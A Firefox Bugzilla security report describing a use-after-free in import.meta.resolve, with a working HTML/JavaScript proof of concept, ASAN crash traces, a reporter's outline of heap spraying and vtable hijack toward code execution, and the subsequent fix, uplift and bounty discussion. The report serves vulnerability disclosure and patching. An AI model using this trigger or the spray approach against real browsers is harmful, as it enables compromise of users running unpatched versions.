Saved import.meta.resolve Closure Holds Non-Reference-Counted Raw ModuleScript Pointer Leading to Use-After-Free After iframe Removal
Categories
(Core :: JavaScript Engine, defect, P1)
Tracking
()
People
(Reporter: guoxuehhh, Assigned: allstars.chh)
References
Details
(4 keywords, Whiteboard: [client-bounty-form][adv-main150+][adv-esr115.35+][adv-esr140.10+])
Attachments
(2 files, 8 external files, 2 obsolete files)
Brief/Intro
Firefox's module loader stores a ModuleScript* as a PrivateValue in the import.meta.resolve function's reserved slot via SetFunctionNativeReserved without calling AddRef() to increment the reference count. For inline modules (<script type="module"> embedded directly in HTML), the ModuleScript is not stored in the mFetchedModules module map, so its only strong reference comes from the JS module record via HostAddRefTopLevelScript. When JavaScript saves the import.meta.resolve reference to an outer scope (such as a parent window), then removes the iframe and triggers GC to collect the module record, HostReleaseTopLevelScript decrements the ModuleScript's reference count to zero and frees the object. Calling the saved resolve function afterwards dereferences the dangling ModuleScript* pointer, resulting in a Use-After-Free. This vulnerability can be triggered from ordinary web page JavaScript without any special privileges or user interaction.
Vulnerability Details
ModuleLoaderBase::HostPopulateImportMeta() stores a raw ModuleScript* pointer in the resolve function's reserved slot when defining the function on the import.meta object:
// js/loader/ModuleLoaderBase.cpp — HostPopulateImportMeta()
JSFunction* resolveFunc = js::DefineFunctionWithReserved(
aCx, aMetaObject, "resolve", ImportMetaResolve, ImportMetaResolveNumArgs,
JSPROP_ENUMERATE);
// ...
RootedObject resolveFuncObj(aCx, JS_GetFunctionObject(resolveFunc));
js::SetFunctionNativeReserved(
resolveFuncObj, static_cast<size_t>(ImportMetaSlots::ModulePrivateSlot),
aReferencingPrivate); // PrivateValue(ModuleScript*), no AddRef
Here aReferencingPrivate contains a raw pointer to a ModuleScript object, stored as a JS::PrivateValue. SetFunctionNativeReserved simply copies the value into the JS function object's reserved slot without any reference counting operation.
When the resolve function is called, ImportMetaResolve retrieves the raw pointer from the reserved slot and passes it to ImportMetaResolveImpl:
// js/loader/ModuleLoaderBase.cpp — ImportMetaResolveImpl()
JSString* ModuleLoaderBase::ImportMetaResolveImpl(
JSContext* aCx, Handle<Value> aReferencingPrivate,
Handle<JSString*> aSpecifier) {
{
RefPtr<ModuleScript> script =
static_cast<ModuleScript*>(aReferencingPrivate.toPrivate()); // UAF
MOZ_ASSERT(script->IsModuleScript());
// ...
}
}
static_cast<ModuleScript*>(aReferencingPrivate.toPrivate()) dereferences the raw pointer from the reserved slot and assigns it to a RefPtr, performing AddRef(). If the ModuleScript has already been freed, this is a Use-After-Free.
For inline modules (<script type="module"> embedded directly in HTML), the ModuleScript object is not stored in the mFetchedModules module map (which only stores modules fetched via URL). Therefore, the inline module's ModuleScript has its only strong reference from the SpiderMonkey engine via HostAddRefTopLevelScript. When GC collects the module record, HostReleaseTopLevelScript calls Release(), the reference count drops to zero, and the ModuleScript is freed.
The attack chain is very straightforward: create an inline module inside an iframe that saves its import.meta.resolve reference to a global variable in the parent window. After removing the iframe, the module loader is destroyed, but the resolve function is still held by the parent window (as an ordinary JS function object). After triggering GC to collect the module record, the ModuleScript is freed. Calling resolve('./test.js') from the parent window then triggers the UAF.
Impact Details
This vulnerability is a heap-use-after-free READ with an ASAN SCARINESS rating of 51 (8-byte-read-heap-use-after-free). The freed ModuleScript object is 256 bytes in size.
In ImportMetaResolveImpl, after performing static_cast on the dangling pointer and assigning it to a RefPtr, AddRef() is called. Subsequent code also calls virtual functions such as IsModuleScript() and ModuleRecord() through the RefPtr. An attacker can use heap spraying to reclaim the freed 256-byte region after the ModuleScript is freed, controlling the vtable pointer and other members to achieve control flow hijacking.
The trigger conditions require only standard Web APIs: <script type="module"> to create an inline module, import.meta.resolve to obtain the resolve function reference, iframe creation and removal, and memory pressure to trigger GC. No autoconfig, no Cu.forceGC(), and no special privileges are required. Normal memory allocation activity from a web page is sufficient to trigger GC collection of the module record.
References
SetFunctionNativeReserved storing raw PrivateValue without AddRef:
https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#467-470
ImportMetaResolveImpl dereferencing toPrivate() (UAF point):
https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#381-382
ImportMetaResolve retrieving raw pointer from reserved slot:
https://searchfox.org/mozilla-central/source/js/loader/ModuleLoaderBase.cpp#346-349
Proof of Concept
This PoC creates an inline module inside an iframe, saves import.meta.resolve to the parent window, removes the iframe and triggers GC via memory pressure to free the ModuleScript, then calls the saved resolve function to trigger the UAF. No source code modifications, autoconfig configuration, or special privileges are required.
PoC page (poc.html, served via an HTTP server):
<!DOCTYPE html>
<html>
<head>
<title>import.meta.resolve UAF PoC</title>
</head>
<body>
<h2>import.meta.resolve UAF</h2>
<pre id="log"></pre>
<script>
function log(msg) {
document.getElementById('log').textContent += msg + '\n';
console.log(msg);
}
window.stolenResolve = null;
window.resolveReady = false;
function createPoisonedIframe() {
return new Promise(function(resolve) {
var iframe = document.createElement('iframe');
iframe.srcdoc = '<!DOCTYPE html><html><body>' +
'<script type="module">' +
'window.parent.stolenResolve = import.meta.resolve;' +
'window.parent.resolveReady = true;' +
'<\/script></body></html>';
document.body.appendChild(iframe);
function check() {
if (window.resolveReady) {
log('[+] Got import.meta.resolve from iframe inline module');
resolve(iframe);
} else {
setTimeout(check, 50);
}
}
setTimeout(check, 100);
});
}
function forceGC() {
// Memory pressure to trigger GC
var garbage = [];
for (var i = 0; i < 200; i++) {
garbage.push(new ArrayBuffer(1024 * 1024));
}
garbage = null;
for (var wave = 0; wave < 5; wave++) {
var tmp = [];
for (var i = 0; i < 100; i++) {
tmp.push(new ArrayBuffer(512 * 1024));
}
tmp = null;
}
}
async function exploit() {
log('[*] import.meta.resolve UAF PoC');
log('[*] ModuleLoaderBase.cpp:468-470 stores PrivateValue without AddRef');
// Step 1: Create iframe with inline module that leaks resolve
log('[1] Creating iframe with inline module...');
var iframe = await createPoisonedIframe();
log(' resolve function type: ' + typeof window.stolenResolve);
// Step 2: Destroy the iframe
log('[2] Destroying iframe to release module loader references...');
iframe.remove();
// Step 3: Force GC to collect the module record
log('[3] Forcing garbage collection to free ModuleScript...');
await new Promise(function(r) { setTimeout(r, 100); });
forceGC();
for (var round = 0; round < 5; round++) {
await new Promise(function(r) { setTimeout(r, 100); });
forceGC();
}
await new Promise(function(r) { setTimeout(r, 500); });
log(' GC cycles completed');
// Step 4: Call the dangling resolve function
log('[4] Calling dangling import.meta.resolve (UAF trigger)...');
try {
for (var i = 0; i < 10; i++) {
var result = window.stolenResolve('./test' + i + '.js');
log(' resolve(' + i + ') returned: ' + result);
}
log('[!] Check ASAN output for heap-use-after-free');
} catch (e) {
log('[!] Exception: ' + e.message);
}
}
exploit();
</script>
</body>
</html>
To reproduce, serve poc.html via an HTTP server (e.g., python3 -m http.server 8080) and open http://localhost:8080/poc.html with an ASAN Firefox build (with MOZ_DISABLE_CONTENT_SANDBOX=1 set). Wait approximately 20 seconds and check the ASAN log.
The following is the actual ASAN output from execution, confirming the Use-After-Free:
==2065578==ERROR: AddressSanitizer: heap-use-after-free on address 0x7c1b2e204250
at pc 0x7b0b12040e23 bp 0x7ffe672e4d50 sp 0x7ffe672e4d48
READ of size 8 at 0x7c1b2e204250 thread T0 (Web Content)
SCARINESS: 51 (8-byte-read-heap-use-after-free)
#0 nsAutoOwningThread::IsCurrentThread() nsISupportsImpl.cpp:46
#1 nsAutoOwningThread::AssertCurrentThreadOwnsMe nsISupportsImpl.cpp:39
#3 JS::loader::LoadedScript::AddRef() LoadedScript.cpp:68
#4 JS::loader::ModuleScript::AddRef() LoadedScript.cpp:373
#8 ModuleLoaderBase::ImportMetaResolveImpl() ModuleLoaderBase.cpp:382
#9 ModuleLoaderBase::ImportMetaResolve() ModuleLoaderBase.cpp:362
0x7c1b2e204250 is located 16 bytes inside of 256-byte region [0x7c1b2e204240,0x7c1b2e204340)
freed by thread T0 (Web Content) here:
#0 free asan_malloc_linux.cpp:51
SUMMARY: AddressSanitizer: heap-use-after-free
nsISupportsImpl.cpp:46 in nsAutoOwningThread::IsCurrentThread() const
ASAN reports shadow bytes as fd (freed heap region), confirming that the ModuleScript object (256-byte heap region) had already been freed when ImportMetaResolveImpl() performed static_cast and called AddRef(). The crash stack trace shows the complete UAF path from ImportMetaResolve() through ImportMetaResolveImpl() to ModuleScript::AddRef(), where AddRef attempts to access the nsAutoOwningThread member on the freed object, triggering ASAN detection.
Updated•7 months ago
|
Updated•7 months ago
|
| Reporter | ||
Comment 1•7 months ago
|
||
| Assignee | ||
Updated•7 months ago
|
| Reporter | ||
Comment 3•7 months ago
|
||
Hi, I'd like to provide additional analysis on the exploitability of this vulnerability.
| Reporter | ||
Comment 4•7 months ago
|
||
The initial ASAN report crashed at nsAutoOwningThread::IsCurrentThread() (READ of size 8, SCARINESS 51). However, this function is a Nightly-only thread-safety diagnostic check (defined in nsDebug.h, guarded by #if defined(NIGHTLY_BUILD) && !defined(MOZ_PROFILING)), and is completely compiled out in Release builds. This check triggers MOZ_Crash before AddRef() actually executes, masking the true severity of the vulnerability in production builds.
To verify the actual behavior in Release builds, I built a release+ASAN version.
Test 1: Original PoC (release+ASAN)
The same PoC on the release build now crashes at nsCycleCollectingAutoRefCnt::incr():
==467184==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6d541b62b348 at pc 0x6c540556db4b bp 0x7ffc434ff770 sp 0x7ffc434ff768
READ of size 8 at 0x6d541b62b348 thread T0 (Isolated Web Co)
SCARINESS: 33 (8-byte-read-heap-buffer-overflow-far-from-bounds)
#0 nsCycleCollectingAutoRefCnt::incr(void*, nsCycleCollectionParticipant*) nsISupportsImpl.h:253
#1 nsCycleCollectingAutoRefCnt::incr(nsISupports*) nsISupportsImpl.h:248
#2 JS::loader::LoadedScript::AddRef() LoadedScript.cpp:68
#3 JS::loader::ModuleScript::AddRef() LoadedScript.cpp:373
#4 RefPtr<JS::loader::ModuleScript>::RefPtr(JS::loader::ModuleScript*) RefPtr.h:106
#5 ModuleLoaderBase::ImportMetaResolveImpl(...) ModuleLoaderBase.cpp:382
#6 ModuleLoaderBase::ImportMetaResolve(...) ModuleLoaderBase.cpp:362
incr() performs ++mRefCnt — a read-modify-write operation on the freed 256-byte ModuleScript object. ASAN intercepts at the read phase, but the subsequent write (refcount increment) would execute directly in production Release builds without ASAN.
Test 2: Heap spray PoC (release+ASAN)
After the ModuleScript is freed, the PoC sprays large numbers of 256-byte ArrayBuffer allocations to reclaim the freed memory. The code successfully traverses the entire virtual function call chain: AddRef(ModuleScript) → IsModuleScript() → ModuleRecord() → ResolveModuleSpecifier(), and ultimately crashes when reading the mBaseURL field from attacker-controlled memory:
==478300==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7490c855b052 bp 0x7ffefdb4db30 sp 0x7ffefdb4d700 T0)
==478300==The signal is caused by a READ memory access.
==478300==Hint: this fault was caused by a dereference of a high value address (see register values below).
SCARINESS: 20 (wild-addr-read)
#0 mozilla::RefPtrTraits<nsIURI>::AddRef(nsIURI*) RefPtr.h:46
#1 nsCOMPtr<nsIURI>::assign_with_AddRef(nsIURI*) nsCOMPtr.h:808
#2 nsCOMPtr<nsIURI>::operator=(nsIURI*) nsCOMPtr.h:588
#3 ImportMap::ResolveModuleSpecifier(...) ImportMap.cpp
#4 ModuleLoaderBase::ResolveModuleSpecifier(...) ModuleLoaderBase.cpp:1120
#5 ModuleLoaderBase::ImportMetaResolveImpl(...) ModuleLoaderBase.cpp:396
#6 ModuleLoaderBase::ImportMetaResolve(...) ModuleLoaderBase.cpp:362
Register values:
rax = 0x656966696e550008 ← address read from attacker-controlled memory
rax = 0x656966696e550008 is the mBaseURL field value read from heap-sprayed data. ASAN reports this as wild-addr-read, confirming that the heap spray successfully reclaimed the freed memory region and the code is dereferencing an attacker-controlled pointer. The freed ModuleScript is a fixed 256-byte heap allocation. An attacker can precisely control this region via heap spraying, forge the vtable pointer, and achieve RCE through vtable hijack on the virtual function calls.
| Reporter | ||
Comment 5•7 months ago
|
||
The Heap Spray PoC is here.
| Reporter | ||
Comment 6•7 months ago
|
||
| Assignee | ||
Comment 8•7 months ago
|
||
| Assignee | ||
Comment 9•7 months ago
|
||
Comment 10•7 months ago
|
||
The severity field for this bug is set to S3. However, the bug is flagged with the sec-high keyword.
:allstars.chh, could you consider increasing the severity of this security bug?
For more information, please visit BugBot documentation.
Comment 11•7 months ago
|
||
The severity field for this bug is set to S3. However, the following bug duplicate has higher severity:
- Bug 2028013: S2
:allstars.chh, could you consider increasing the severity of this bug to S2?
For more information, please visit BugBot documentation.
| Assignee | ||
Updated•7 months ago
|
Comment 12•7 months ago
|
||
Comment 13•7 months ago
|
||
[Tracking Requested - why for this release]: sec-high landed with a test so we want to make sure it gets uplifted. I don't know if it actually affects ESR or not but I'll nominate for tracking anyways.
Comment 14•7 months ago
|
||
This should have gotten sec-approval prior to landing, and should not have landed with the test. Please fill out the sec-approval form now so we can get a sense of the scope of the issue. Thanks.
Comment 15•7 months ago
|
||
https://hg.mozilla.org/mozilla-central/rev/4d466bbb16ee
https://hg.mozilla.org/mozilla-central/rev/a7aeacfbb1b3
Comment 16•7 months ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #13)
[Tracking Requested - why for this release]: sec-high landed with a test so we want to make sure it gets uplifted. I don't know if it actually affects ESR or not but I'll nominate for tracking anyways.
Will leave ESR tracking pending until it's been confirmed
| Assignee | ||
Comment 17•7 months ago
|
||
Comment on attachment 9562762 [details]
(secure)
Security Approval Request
- How easily could an exploit be constructed based on the patch?: Difficult, an exploit needs to keep a reference to 'import.meta.resolve', and figure out how to make the ModuleScript freed by CycleCollector, to trigger the UAF.
- Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
- Which branches (beta, release, and/or ESR) are affected by this flaw, and do the release status flags reflect this affected/unaffected state correctly?: beta, release, ESR
- If not all supported branches, which bug introduced the flaw?: None
- Do you have backports for the affected branches?: Yes
- If not, how different, hard to create, and risky will they be?:
- How likely is this patch to cause regressions; how much testing does it need?: Difficult, this patch holds the reference to the ModuleObject to prevent it from GCed, hence prevents UAF.
- Is the patch ready to land after security approval is given?: Yes
- Is Android affected?: Yes
| Assignee | ||
Updated•7 months ago
|
| Assignee | ||
Comment 18•7 months ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #14)
This should have gotten sec-approval prior to landing, and should not have landed with the test. Please fill out the sec-approval form now so we can get a sense of the scope of the issue. Thanks.
Sorry, I must have confused this with other bug and forgot this bug is mared sec-high later.
Comment 19•7 months ago
|
||
The patch landed in nightly and beta is affected.
:allstars.chh, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta approval.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox150towontfix.
For more information, please visit BugBot documentation.
| Assignee | ||
Comment 20•7 months ago
|
||
I'll wait for the sec-approval to uplift.
Updated•6 months ago
|
Comment 21•6 months ago
|
||
Comment on attachment 9562763 [details]
(secure)
test already landed, so no reason it can't be uplifted
Comment 22•6 months ago
|
||
Comment on attachment 9562762 [details]
(secure)
Approved to uplift
| Assignee | ||
Comment 23•6 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D291467
Updated•6 months ago
|
Comment 24•6 months ago
|
||
firefox-beta Uplift Approval Request
- User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
- String changes made/needed?: no
- Is Android affected?: yes
| Assignee | ||
Comment 25•6 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D291468
Updated•6 months ago
|
Updated•6 months ago
|
Updated•6 months ago
|
Comment 26•6 months ago
|
||
| uplift | ||
Comment 27•6 months ago
|
||
Please also add ESR140 and ESR115 uplift requests.
Updated•6 months ago
|
| Assignee | ||
Comment 28•6 months ago
|
||
I also request to uplift the patches to the release channel.
| Assignee | ||
Comment 29•6 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D291467
Updated•6 months ago
|
Comment 30•6 months ago
|
||
firefox-release Uplift Approval Request
- User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed
- Code covered by automated testing?: yes
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
- String changes made/needed?: no
- Is Android affected?: yes
| Assignee | ||
Comment 31•6 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D291468
| Assignee | ||
Comment 32•6 months ago
|
||
Updated•6 months ago
|
| Assignee | ||
Comment 33•6 months ago
|
||
Updated•6 months ago
|
| Assignee | ||
Comment 34•6 months ago
|
||
Updated•6 months ago
|
| Assignee | ||
Comment 35•6 months ago
|
||
Updated•6 months ago
|
Updated•6 months ago
|
Updated•6 months ago
|
Comment 36•6 months ago
|
||
firefox-esr140 Uplift Approval Request
- User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
- String changes made/needed?: no
- Is Android affected?: yes
Comment 37•6 months ago
|
||
firefox-esr115 Uplift Approval Request
- User impact if declined/Reason for urgency: UAF if import.meta.resolve is used after the owner document of the module graph is destroyed.
- Code covered by automated testing?: yes
- Fix verified in Nightly?: no
- Needs manual QE testing?: no
- Steps to reproduce for manual QE testing:
- Risk associated with taking this patch: low
- Explanation of risk level: This keeps the reference to the module object instead to prevent it from GC.
- String changes made/needed?: no
- Is Android affected?: yes
Updated•6 months ago
|
Updated•6 months ago
|
Updated•6 months ago
|
Comment 38•6 months ago
|
||
| uplift | ||
Updated•6 months ago
|
Updated•6 months ago
|
Updated•6 months ago
|
Comment 39•6 months ago
|
||
| uplift | ||
Updated•6 months ago
|
Updated•6 months ago
|
Updated•6 months ago
|
Updated•6 months ago
|
| Reporter | ||
Comment 40•5 months ago
|
||
Hi,
I wanted to follow up on the $5,000 bounty for Bug 2027541, ould you let me know when the payment will be processed?
Thank you!
Updated•5 months ago
|
Updated•2 months ago
|
Description
•